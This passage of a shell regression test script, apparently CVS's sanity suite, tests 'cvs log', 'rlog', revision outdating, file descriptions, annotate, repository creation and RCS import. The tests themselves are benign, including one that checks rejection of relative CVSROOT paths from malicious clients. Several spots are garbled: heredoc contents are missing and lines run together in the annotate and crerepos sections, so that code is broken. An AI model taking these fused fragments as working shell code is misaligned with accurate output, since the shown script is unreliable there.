\\\n\"${CVSROOT_DIRNAME}/first-dir/Attic/file1,v\n${CVSROOT_DIRNAME}/first-dir/file2,v\"\n\t dotest log-rd4f \"${testcvs} -q rlog -R -S -rbranch first-dir\" \\\n\"${CVSROOT_DIRNAME}/first-dir/Attic/file1,v\n${PROG} rlog: warning: no revision .branch. in .${CVSROOT_DIRNAME}/first-dir/file2,v.\"\n\t dotest log-d5 \"${testcvs} log -r1.2.2.1:1.2.2.2 file1\" \\\n\"${log_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 6;\tselected revisions: 2\ndescription:\n${log_rev2b}\n${log_rev1b}\n${log_trailer}\"\n\t dotest log-rd5 \"${testcvs} rlog -r1.2.2.1:1.2.2.2 first-dir/file1\" \\\n\"${rlog_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 6;\tselected revisions: 2\ndescription:\n${log_rev2b}\n${log_rev1b}\n${log_trailer}\"\n\t dotest log-d6 \"${testcvs} -q log -r1.2.2.1:1.2.2.2\" \\\n\"${log_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 6;\tselected revisions: 2\ndescription:\n${log_rev2b}\n${log_rev1b}\n${log_trailer}\n${log_header2}\n${log_tags2}\n${log_keyword}\ntotal revisions: 3;\tselected revisions: 0\ndescription:\n${log_trailer}\"\n\t dotest log-rd6 \"${testcvs} -q rlog -r1.2.2.1:1.2.2.2 first-dir\" \\\n\"${rlog_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 6;\tselected revisions: 2\ndescription:\n${log_rev2b}\n${log_rev1b}\n${log_trailer}\n${rlog_header2}\n${log_tags2}\n${log_keyword}\ntotal revisions: 3;\tselected revisions: 0\ndescription:\n${log_trailer}\"\n\t dotest log-d7 \"${testcvs} log -r1.2:1.3 file1\" \\\n\"${log_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 6;\tselected revisions: 2\ndescription:\n${log_rev3}\n${log_rev2}\n${log_trailer}\"\n\t dotest log-rd7 \"${testcvs} -q rlog -r1.2:1.3 first-dir/file1\" \\\n\"${rlog_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 6;\tselected revisions: 2\ndescription:\n${log_rev3}\n${log_rev2}\n${log_trailer}\"\n\t dotest log-d8 \"${testcvs} -q log -rtag1:tag2\" \\\n\"${PROG} log: warning: no revision .tag1. in .${CVSROOT_DIRNAME}/first-dir/Attic/file1,v.\n${PROG} log: warning: no revision .tag2. in .${CVSROOT_DIRNAME}/first-dir/Attic/file1,v.\n${log_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 6;\tselected revisions: 0\ndescription:\n${log_trailer}\n${log_header2}\n${log_tags2}\n${log_keyword}\ntotal revisions: 3;\tselected revisions: 2\ndescription:\n${log_rev3}\n${log_rev22}\n${log_trailer}\"\n\t dotest log-d8a \"${testcvs} -q log -rtag1:tag2 -S\" \\\n\"${PROG} log: warning: no revision .tag1. in .${CVSROOT_DIRNAME}/first-dir/Attic/file1,v.\n${PROG} log: warning: no revision .tag2. in .${CVSROOT_DIRNAME}/first-dir/Attic/file1,v.\n${log_header2}\n${log_tags2}\n${log_keyword}\ntotal revisions: 3;\tselected revisions: 2\ndescription:\n${log_rev3}\n${log_rev22}\n${log_trailer}\"\n\t dotest log-rd8 \"${testcvs} -q rlog -rtag1:tag2 first-dir\" \\\n\"${PROG} rlog: warning: no revision .tag1. in .${CVSROOT_DIRNAME}/first-dir/Attic/file1,v.\n${PROG} rlog: warning: no revision .tag2. in .${CVSROOT_DIRNAME}/first-dir/Attic/file1,v.\n${rlog_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 6;\tselected revisions: 0\ndescription:\n${log_trailer}\n${rlog_header2}\n${log_tags2}\n${log_keyword}\ntotal revisions: 3;\tselected revisions: 2\ndescription:\n${log_rev3}\n${log_rev22}\n${log_trailer}\"\n\t dotest log-rd8a \"${testcvs} -q rlog -rtag1:tag2 -S first-dir\" \\\n\"${PROG} rlog: warning: no revision .tag1. in .${CVSROOT_DIRNAME}/first-dir/Attic/file1,v.\n${PROG} rlog: warning: no revision .tag2. in .${CVSROOT_DIRNAME}/first-dir/Attic/file1,v.\n${rlog_header2}\n${log_tags2}\n${log_keyword}\ntotal revisions: 3;\tselected revisions: 2\ndescription:\n${log_rev3}\n${log_rev22}\n${log_trailer}\"\n\n\t dotest log-d99 \"${testcvs} -q up -rbranch\" \\\n\"[UP] file1\n${PROG} update: file2 is no longer in the repository\"\n\n\t # Now test outdating revisions\n\n\t dotest log-o0 \"${testcvs} admin -o 1.2.2.2:: file1\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/Attic/file1,v\ndone\"\n\t dotest log-o1 \"${testcvs} admin -o ::1.2.2.1 file1\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/Attic/file1,v\ndone\"\n\t dotest log-o2 \"${testcvs} admin -o 1.2.2.1:: file1\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/Attic/file1,v\ndeleting revision 1\\.2\\.2\\.2\ndone\"\n\t dotest log-o3 \"${testcvs} log file1\" \\\n\"${log_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 5\ndescription:\n${log_rev4}\n${log_rev3}\n${log_rev2}\n${log_rev1}\n${log_rev1b}\n${log_trailer}\"\n\t dotest log-ro3 \"${testcvs} rlog first-dir/file1\" \\\n\"${rlog_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 5\ndescription:\n${log_rev4}\n${log_rev3}\n${log_rev2}\n${log_rev1}\n${log_rev1b}\n${log_trailer}\"\n\t dotest log-o4 \"${testcvs} -q update -p -r 1.2.2.1 file1\" \\\n\"first branch revision\"\n\n\t cd ..\n\t rm -r first-dir\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tlog2)\n\t # More \"cvs log\" tests, for example the file description.\n\n\t # Check in a file\n\t mkdir ${CVSROOT_DIRNAME}/first-dir\n\t dotest log2-1 \"${testcvs} -q co first-dir\" ''\n\t cd first-dir\n\t echo 'first revision' > file1\n\t dotest log2-2 \"${testcvs} add -m file1-is-for-testing file1\" \\\n\"${PROG}\"' add: scheduling file `file1'\\'' for addition\n'\"${PROG}\"' add: use .'\"${PROG}\"' commit. to add this file permanently'\n\t dotest log2-3 \"${testcvs} -q commit -m 1\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\"\n\t # Setting the file description with add -m doesn't yet work\n\t # client/server, so skip log2-4 for remote.\n\t if $remote; then :; else\n\n\t dotest log2-4 \"${testcvs} log -N file1\" \"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nWorking file: file1\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\nfile1-is-for-testing\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\n1\n=============================================================================\"\n\n\t fi # end of tests skipped for remote\n\n\t dotest log2-5 \"${testcvs} admin -t-change-description file1\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\"\n\t dotest log2-6 \"${testcvs} log -N file1\" \"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nWorking file: file1\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\nchange-description\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\n1\n=============================================================================\"\n\n\t echo 'longer description' >${TESTDIR}/descrip\n\t echo 'with two lines' >>${TESTDIR}/descrip\n\t dotest log2-7 \"${testcvs} admin -t${TESTDIR}/descrip file1\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\"\n\t dotest_fail log2-7a \"${testcvs} admin -t${TESTDIR}/nonexist file1\" \\\n\"${PROG} \\[[a-z]* aborted\\]: can't stat ${TESTDIR}/nonexist: No such file or directory\"\n\t dotest log2-8 \"${testcvs} log -N file1\" \"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nWorking file: file1\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\nlonger description\nwith two lines\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\n1\n=============================================================================\"\n\n\t # TODO: `cvs admin -t \"my message\" file1' is a request to\n\t # read the message from stdin and to operate on two files.\n\t # Should test that there is an error because \"my message\"\n\t # doesn't exist.\n\n\t dotest log2-9 \"echo change from stdin | ${testcvs} admin -t -q file1\" \"\"\n\t dotest log2-10 \"${testcvs} log -N file1\" \"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nWorking file: file1\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\nchange from stdin\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\n1\n=============================================================================\"\n\n\t cd ..\n\t rm ${TESTDIR}/descrip\n\t rm -r first-dir\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\n\t ;;\n\n\tlogopt)\n\t # Some tests of log.c's option parsing and such things.\n\t mkdir 1; cd 1\n\t dotest logopt-1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest logopt-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n\t cd first-dir\n\t echo hi >file1\n\t dotest logopt-3 \"${testcvs} add file1\" \\\n\"${PROG} add: scheduling file .file1. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest logopt-4 \"${testcvs} -q ci -m add file1\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\"\n\t cd ..\n\n\t dotest logopt-5 \"${testcvs} log -R -d 2038-01-01\" \\\n\"${PROG} log: Logging \\.\n${PROG} log: Logging first-dir\n${CVSROOT_DIRNAME}/first-dir/file1,v\"\n\t dotest logopt-6 \"${testcvs} log -d 2038-01-01 -R\" \\\n\"${PROG} log: Logging \\.\n${PROG} log: Logging first-dir\n${CVSROOT_DIRNAME}/first-dir/file1,v\"\n\t dotest logopt-6a \"${testcvs} log -Rd 2038-01-01\" \\\n\"${PROG} log: Logging \\.\n${PROG} log: Logging first-dir\n${CVSROOT_DIRNAME}/first-dir/file1,v\"\n\t dotest logopt-7 \"${testcvs} log -s Exp -R\" \\\n\"${PROG} log: Logging \\.\n${PROG} log: Logging first-dir\n${CVSROOT_DIRNAME}/first-dir/file1,v\"\n\n\t cd ..\n\t rm -r 1\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tann)\n\t # Tests of \"cvs annotate\". See also:\n\t # basica-10 A simple annotate test\n\t # rcs Annotate and the year 2000\n\t # keywordlog Annotate and $Log.\n\t mkdir 1; cd 1\n\t dotest ann-1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest ann-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n\t cd first-dir\n\t cat >file1 <file1 <file1 <file1 < $file\n\n\t dotest ann-id-3 \"$testcvs add $file\" \\\n\"${PROG} add: scheduling file .$file. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest ann-id-4 \"$testcvs -Q ci -m . $file\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/$module/$file,v\ndone\nChecking in $file;\n${CVSROOT_DIRNAME}/$module/$file,v <-- $file\ninitial revision: 1\\.1\ndone\"\n\n\t echo line2 >> $file\n\t dotest ann-id-5 \"$testcvs -Q ci -m . $file\" \\\n\"Checking in $file;\n${CVSROOT_DIRNAME}/$module/$file,v <-- $file\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\n\t # The version number after $file,v should be `1.2'.\n\t # 1.9.28.1 puts `1.1' there.\n\t dotest ann-id-6 \"$testcvs -Q ann $file\" \\\n\"\nAnnotations for $file\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n1.2 ($username8 *[0-9a-zA-Z-]*): \"'\\$'\"Id: $file,v 1.1 [0-9/]* [0-9:]* $username Exp \"'\\$'\"\n1.2 ($username8 *[0-9a-zA-Z-]*): line2\"\n\n\t cd ../..\n\t rm -rf 1\n\t rm -rf ${CVSROOT_DIRNAME}/$module\n\t ;;\n\n\tcrerepos)\n\t # Various tests relating to creating repositories, operating\n\t # on repositories created with old versions of CVS, etc.\n\n\t CVS_SERVER_save=$CVS_SERVER\n\n\t # Because this test is all about -d options and such, it\n\t # at least to some extent needs to be different for remote vs.\n\t # local.\n\t if $remote; then\n\n\t # Use :ext: rather than :fork:. Most of the tests use :fork:,\n\t # so we want to make sure that we test :ext: _somewhere_.\n\t # Make sure 'rsh' works first.\n\t depends_on_rsh \"$CVS_RSH\"\n\t if test $? -eq 77; then\n\t\tskip crerepos \"$skipreason\"\n\t\tcontinue\n\t fi\n\n\t # For remote, just create the repository. We don't yet do\n\t # the various other tests above for remote but that should be\n\t # changed.\n\t mkdir crerepos\n\t mkdir crerepos/CVSROOT\n\n # Make sure server ignores real ${HOME}/.cvsrc:\n cat >$TESTDIR/cvs-setHome <>${LOGFILE}; then\n\t pass crerepos-5\n\t else\n\t fail crerepos-5\n\t fi\n\t rm -rf CVS\n\t cd ..\n\t # The directory 1 should be empty\n\t dotest crerepos-6 \"rmdir 1\"\n\n\t CREREPOS_ROOT=${TESTDIR}/crerepos\n\n\t fi\n\n\t if $remote; then\n\t # Test that CVS rejects a relative path in CVSROOT.\n\t mkdir 1; cd 1\n\t # Note that having the client reject the pathname (as :fork:\n\t # does), does _not_ test for the bugs we are trying to catch\n\t # here. The point is that malicious clients might send all\n\t # manner of things and the server better protect itself.\n\t dotest_fail crerepos-6a-r \\\n\"${testcvs} -q -d :ext:`hostname`:../crerepos get .\" \\\n\"${PROG} [a-z]*: CVSROOT may only specify a positive, non-zero, integer port (not .\\.\\..)\\.\n${PROG} [a-z]*: Perhaps you entered a relative pathname${QUESTION}\n${PROG} \\[[a-z]* aborted\\]: Bad CVSROOT: .:ext:${hostname}:\\.\\./crerepos.\\.\"\n\t cd ..\n\t rm -r 1\n\t else # local\n\t # Test that CVS rejects a relative path in CVSROOT.\n\n\t mkdir 1; cd 1\n\t # Set CVS_RSH=false since ocassionally (e.g. when CVS_RSH=ssh on\n\t # some systems) some rsh implementations will block because they\n\t # can look up '..' and want to ask the user about the unknown host\n\t # key or somesuch. Which error message we get depends on whether\n\t # false finishes running before we try to talk to it or not.\n\t dotest_fail crerepos-6a \"CVS_RSH=false ${testcvs} -q -d ../crerepos get .\" \\\n\"${PROG} \\[checkout aborted\\]: .*\" \\\n\"${PROG} checkout: CVSROOT is set for a remote access method but your\n${PROG} checkout: CVS executable doesn't support it\\.\n${PROG} \\[checkout aborted\\]: Bad CVSROOT: .\\.\\./crerepos.\\.\"\n\t cd ..\n\t rm -r 1\n\n\t mkdir 1; cd 1\n\t dotest_fail crerepos-6b \"${testcvs} -d crerepos init\" \\\n\"${PROG} init: CVSROOT must be an absolute pathname (not .crerepos.)\n${PROG} init: when using local access method\\.\n${PROG} \\[init aborted\\]: Bad CVSROOT: .crerepos.\\.\"\n\t cd ..\n\t rm -r 1\n\t fi # end of tests to be skipped for remote\n\n\t # CVS better not create a history file--if the administrator \n\t # doesn't need it and wants to save on disk space, they just\n\t # delete it.\n\t dotest_fail crerepos-7 \\\n\"test -f ${TESTDIR}/crerepos/CVSROOT/history\" ''\n\n\t # Now test mixing repositories. This kind of thing tends to\n\t # happen accidentally when people work with several repositories.\n\t mkdir 1; cd 1\n\t dotest crerepos-8 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest crerepos-9 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n\t cd first-dir\n\t touch file1\n\t dotest crerepos-10 \"${testcvs} add file1\" \\\n\"${PROG} add: scheduling file .file1. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest crerepos-11 \"${testcvs} -q ci -m add-it\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\"\n\t cd ../..\n\t rm -r 1\n\n\t mkdir 1; cd 1\n\t dotest crerepos-12 \"${testcvs} -d ${CREREPOS_ROOT} -q co -l .\" ''\n\t mkdir crerepos-dir\n\t dotest crerepos-13 \"${testcvs} add crerepos-dir\" \\\n\"Directory ${TESTDIR}/crerepos/crerepos-dir added to the repository\"\n\t cd crerepos-dir\n\t touch cfile\n\t dotest crerepos-14 \"${testcvs} add cfile\" \\\n\"${PROG} add: scheduling file .cfile. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest crerepos-15 \"${testcvs} -q ci -m add-it\" \\\n\"RCS file: ${TESTDIR}/crerepos/crerepos-dir/cfile,v\ndone\nChecking in cfile;\n${TESTDIR}/crerepos/crerepos-dir/cfile,v <-- cfile\ninitial revision: 1\\.1\ndone\"\n\t cd ../..\n\t rm -r 1\n\n\t mkdir 1; cd 1\n\t dotest crerepos-16 \"${testcvs} co first-dir\" \\\n\"${PROG} checkout: Updating first-dir\nU first-dir/file1\"\n\t dotest crerepos-17 \"${testcvs} -d ${CREREPOS_ROOT} co crerepos-dir\" \\\n\"${PROG} checkout: Updating crerepos-dir\nU crerepos-dir/cfile\"\n\t dotest crerepos-18 \"${testcvs} update\" \\\n\"${PROG} update: Updating first-dir\n${PROG} update: Updating crerepos-dir\"\n\n\t cd ..\n\n CVS_SERVER=$CVS_SERVER_save; export CVS_SERVER\n\n\t if $keep; then\n\t echo Keeping ${TESTDIR} and exiting due to --keep\n\t exit 0\n\t fi\n\n rm -f $TESTDIR/cvs-setHome\n\t rm -r 1\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir ${TESTDIR}/crerepos\n\t ;;\n\n\n\n\tcrerepos-extssh)\n\t # Various tests relating to creating repositories, operating\n\t # on repositories created with old versions of CVS, etc.\n\n\t CVS_SERVER_save=$CVS_SERVER\n\n\t # Because this test is all about -d options and such, it\n\t # at least to some extent needs to be different for remote vs.\n\t # local.\n\t if $remote; then\n\n\t # Use :extssh: rather than :fork:. Most of the tests use :fork:,\n\t # so we want to make sure that we test :extssh: _somewhere_.\n\t # Make sure 'ssh' works first.\n\t depends_on_rsh \"$CVS_RSH\"\n\t if test $? -eq 77; then\n\t\tskip crerepos \"$skipreason\"\n\t\tcontinue\n\t fi\n\n\t # For remote, just create the repository. We don't yet do\n\t # the various other tests above for remote but that should be\n\t # changed.\n\t mkdir crerepos\n\t mkdir crerepos/CVSROOT\n\n # Make sure server ignores real ${HOME}/.cvsrc:\n cat >$TESTDIR/cvs-setHome <>${LOGFILE}; then\n\t pass crerepos-extssh-5\n\t else\n\t fail crerepos-extssh-5\n\t fi\n\t rm -rf CVS\n\t cd ..\n\t # The directory 1 should be empty\n\t dotest crerepos-extssh-6 \"rmdir 1\"\n\n\t CREREPOS_ROOT=${TESTDIR}/crerepos\n\n\t fi\n\n\t if $remote; then\n\t # Test that CVS rejects a relative path in CVSROOT.\n\t mkdir 1; cd 1\n\t # Note that having the client reject the pathname (as :fork:\n\t # does), does _not_ test for the bugs we are trying to catch\n\t # here. The point is that malicious clients might send all\n\t # manner of things and the server better protect itself.\n\t dotest_fail crerepos-extssh-6a-r \\\n\"${testcvs} -q -d :extssh:`hostname`:../crerepos get .\" \\\n\"${PROG} [a-z]*: CVSROOT may only specify a positive, non-zero, integer port (not .\\.\\..)\\.\n${PROG} [a-z]*: Perhaps you entered a relative pathname${QUESTION}\n${PROG} \\[[a-z]* aborted\\]: Bad CVSROOT: .:extssh:${hostname}:\\.\\./crerepos.\\.\"\n\t cd ..\n\t rm -r 1\n\t else # local\n\t # Test that CVS rejects a relative path in CVSROOT.\n\n\t mkdir 1; cd 1\n\t # Set CVS_RSH=false since ocassionally (e.g. when CVS_RSH=ssh on\n\t # some systems) some rsh implementations will block because they\n\t # can look up '..' and want to ask the user about the unknown host\n\t # key or somesuch. Which error message we get depends on whether\n\t # false finishes running before we try to talk to it or not.\n\t dotest_fail crerepos-extssh-6a \"CVS_RSH=false ${testcvs} -q -d ../crerepos get .\" \\\n\"${PROG} \\[checkout aborted\\]: .*\" \\\n\"${PROG} checkout: CVSROOT is set for a remote access method but your\n${PROG} checkout: CVS executable doesn't support it\\.\n${PROG} \\[checkout aborted\\]: Bad CVSROOT: .\\.\\./crerepos.\\.\"\n\t cd ..\n\t rm -r 1\n\n\t mkdir 1; cd 1\n\t dotest_fail crerepos-extssh-6b \"${testcvs} -d crerepos init\" \\\n\"${PROG} init: CVSROOT must be an absolute pathname (not .crerepos.)\n${PROG} init: when using local access method\\.\n${PROG} \\[init aborted\\]: Bad CVSROOT: .crerepos.\\.\"\n\t cd ..\n\t rm -r 1\n\t fi # end of tests to be skipped for remote\n\n\t # CVS better not create a history file--if the administrator \n\t # doesn't need it and wants to save on disk space, they just\n\t # delete it.\n\t dotest_fail crerepos-extssh-7 \\\n\"test -f ${TESTDIR}/crerepos/CVSROOT/history\" ''\n\n\t # Now test mixing repositories. This kind of thing tends to\n\t # happen accidentally when people work with several repositories.\n\t mkdir 1; cd 1\n\t dotest crerepos-extssh-8 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest crerepos-extssh-9 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n\t cd first-dir\n\t touch file1\n\t dotest crerepos-extssh-10 \"${testcvs} add file1\" \\\n\"${PROG} add: scheduling file .file1. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest crerepos-extssh-11 \"${testcvs} -q ci -m add-it\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\"\n\t cd ../..\n\t rm -r 1\n\n\t mkdir 1; cd 1\n\t dotest crerepos-extssh-12 \"${testcvs} -d ${CREREPOS_ROOT} -q co -l .\" ''\n\t mkdir crerepos-dir\n\t dotest crerepos-extssh-13 \"${testcvs} add crerepos-dir\" \\\n\"Directory ${TESTDIR}/crerepos/crerepos-dir added to the repository\"\n\t cd crerepos-dir\n\t touch cfile\n\t dotest crerepos-extssh-14 \"${testcvs} add cfile\" \\\n\"${PROG} add: scheduling file .cfile. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest crerepos-extssh-15 \"${testcvs} -q ci -m add-it\" \\\n\"RCS file: ${TESTDIR}/crerepos/crerepos-dir/cfile,v\ndone\nChecking in cfile;\n${TESTDIR}/crerepos/crerepos-dir/cfile,v <-- cfile\ninitial revision: 1\\.1\ndone\"\n\t cd ../..\n\t rm -r 1\n\n\t mkdir 1; cd 1\n\t dotest crerepos-extssh-16 \"${testcvs} co first-dir\" \\\n\"${PROG} checkout: Updating first-dir\nU first-dir/file1\"\n\t dotest crerepos-extssh-17 \"${testcvs} -d ${CREREPOS_ROOT} co crerepos-dir\" \\\n\"${PROG} checkout: Updating crerepos-dir\nU crerepos-dir/cfile\"\n\t dotest crerepos-extssh-18 \"${testcvs} update\" \\\n\"${PROG} update: Updating first-dir\n${PROG} update: Updating crerepos-dir\"\n\n\t cd ..\n\n CVS_SERVER=$CVS_SERVER_save; export CVS_SERVER\n\n\t if $keep; then\n\t echo Keeping ${TESTDIR} and exiting due to --keep\n\t exit 0\n\t fi\n\n rm -f $TESTDIR/cvs-setHome\n\t rm -r 1\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir ${TESTDIR}/crerepos\n\t ;;\n\n\n\n\trcs)\n\t # Test ability to import an RCS file. Note that this format\n\t # is fixed--files written by RCS5, and other software which\n\t # implements this format, will be out there \"forever\" and\n\t # CVS must always be able to import such files.\n\n\t # See tests admin-13, admin-25 and rcs-8a for exporting RCS files.\n\n\t mkdir ${CVSROOT_DIRNAME}/first-dir\n\n\t # Currently the way to import an RCS file is to copy it\n\t # directly into the repository.\n\t #\n\t # This file was written by RCS 5.7, and then the dates were\n\t # hacked so that we test year 2000 stuff. Note also that\n\t # \"author\" names are just strings, as far as importing\n\t # RCS files is concerned--they need not correspond to user\n\t # IDs on any particular system.\n\t #\n\t # I also tried writing a file with the RCS supplied with\n\t # HPUX A.09.05. According to \"man rcsintro\" this is\n\t # \"Revision Number: 3.0; Release Date: 83/05/11\". There\n\t # were a few minor differences like whitespace but at least\n\t # in simple cases like this everything else seemed the same\n\t # as the file written by RCS 5.7 (so I won't try to make it\n\t # a separate test case).\n\n\t cat <${CVSROOT_DIRNAME}/first-dir/file1,v\nhead\t1.3;\naccess;\nsymbols;\nlocks; strict;\ncomment\t@# @;\n\n\n1.3\ndate\t2000.11.24.15.58.37;\tauthor kingdon;\tstate Exp;\nbranches;\nnext\t1.2;\n\n1.2\ndate\t96.11.24.15.57.41;\tauthor kingdon;\tstate Exp;\nbranches;\nnext\t1.1;\n\n1.1\ndate\t96.11.24.15.56.05;\tauthor kingdon;\tstate Exp;\nbranches;\nnext\t;\n\n\ndesc\n@file1 is for testing CVS\n@\n\n\n1.3\nlog\n@delete second line; modify twelfth line\n@\ntext\n@This is the first line\nThis is the third line\nThis is the fourth line\nThis is the fifth line\nThis is the sixth line\nThis is the seventh line\nThis is the eighth line\nThis is the ninth line\nThis is the tenth line\nThis is the eleventh line\nThis is the twelfth line (and what a line it is)\nThis is the thirteenth line\n@\n\n\n1.2\nlog\n@add more lines\n@\ntext\n@a1 1\nThis is the second line\nd11 1\na11 1\nThis is the twelfth line\n@\n\n\n1.1\nlog\n@add file1\n@\ntext\n@d2 12\n@\nEOF\n\t dotest rcs-1 \"${testcvs} -q co first-dir\" 'U first-dir/file1'\n\t cd first-dir\n\t dotest rcs-2 \"${testcvs} -q log\" \"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nWorking file: file1\nhead: 1\\.3\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\nkeyword substitution: kv\ntotal revisions: 3;\tselected revisions: 3\ndescription:\nfile1 is for testing CVS\n----------------------------\nrevision 1\\.3\ndate: 2000/11/24 15:58:37; author: kingdon; state: Exp; lines: ${PLUS}1 -2\ndelete second line; modify twelfth line\n----------------------------\nrevision 1\\.2\ndate: 1996/11/24 15:57:41; author: kingdon; state: Exp; lines: ${PLUS}12 -0\nadd more lines\n----------------------------\nrevision 1\\.1\ndate: 1996/11/24 15:56:05; author: kingdon; state: Exp;\nadd file1\n=============================================================================\"\n\n\t # Note that the dates here are chosen so that (a) we test\n\t # at least one date after 2000, (b) we will notice if the\n\t # month and day are getting mixed up with each other.\n\t # TODO: also test that year isn't getting mixed up with month\n\t # or day, for example 01-02-03.\n\n\t # ISO8601 format. There are many, many, other variations\n\t # specified by ISO8601 which we should be testing too.\n\t dotest rcs-3 \"${testcvs} -q log -d '1996-12-11<'\" \"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nWorking file: file1\nhead: 1\\.3\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\nkeyword substitution: kv\ntotal revisions: 3;\tselected revisions: 1\ndescription:\nfile1 is for testing CVS\n----------------------------\nrevision 1\\.3\ndate: 2000/11/24 15:58:37; author: kingdon; state: Exp; lines: ${PLUS}1 -2\ndelete second line; modify twelfth line\n=============================================================================\"\n\n\t # RFC822 format (as amended by RFC1123).\n\t dotest rcs-4 \"${testcvs} -q log -d '<3 Apr 2000 00:00'\" \\\n\"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nWorking file: file1\nhead: 1\\.3\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\nkeyword substitution: kv\ntotal revisions: 3;\tselected revisions: 2\ndescription:\nfile1 is for testing CVS\n----------------------------\nrevision 1\\.2\ndate: 1996/11/24 15:57:41; author: kingdon; state: Exp; lines: ${PLUS}12 -0\nadd more lines\n----------------------------\nrevision 1\\.1\ndate: 1996/11/24 15:56:05; author: kingdon; state: Exp;\nadd file1\n=============================================================================\"\n\n\t # Intended behavior for \"cvs annotate\" is that it displays the\n\t # last two digits of the year. Make sure it does that rather\n\t # than some bogosity like \"100\".\n\t dotest rcs-4a \"${testcvs} annotate file1\" \\\n\"\nAnnotations for file1\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n1\\.1 (kingdon 24-Nov-96): This is the first line\n1\\.2 (kingdon 24-Nov-96): This is the third line\n1\\.2 (kingdon 24-Nov-96): This is the fourth line\n1\\.2 (kingdon 24-Nov-96): This is the fifth line\n1\\.2 (kingdon 24-Nov-96): This is the sixth line\n1\\.2 (kingdon 24-Nov-96): This is the seventh line\n1\\.2 (kingdon 24-Nov-96): This is the eighth line\n1\\.2 (kingdon 24-Nov-96): This is the ninth line\n1\\.2 (kingdon 24-Nov-96): This is the tenth line\n1\\.2 (kingdon 24-Nov-96): This is the eleventh line\n1\\.3 (kingdon 24-Nov-00): This is the twelfth line (and what a line it is)\n1\\.2 (kingdon 24-Nov-96): This is the 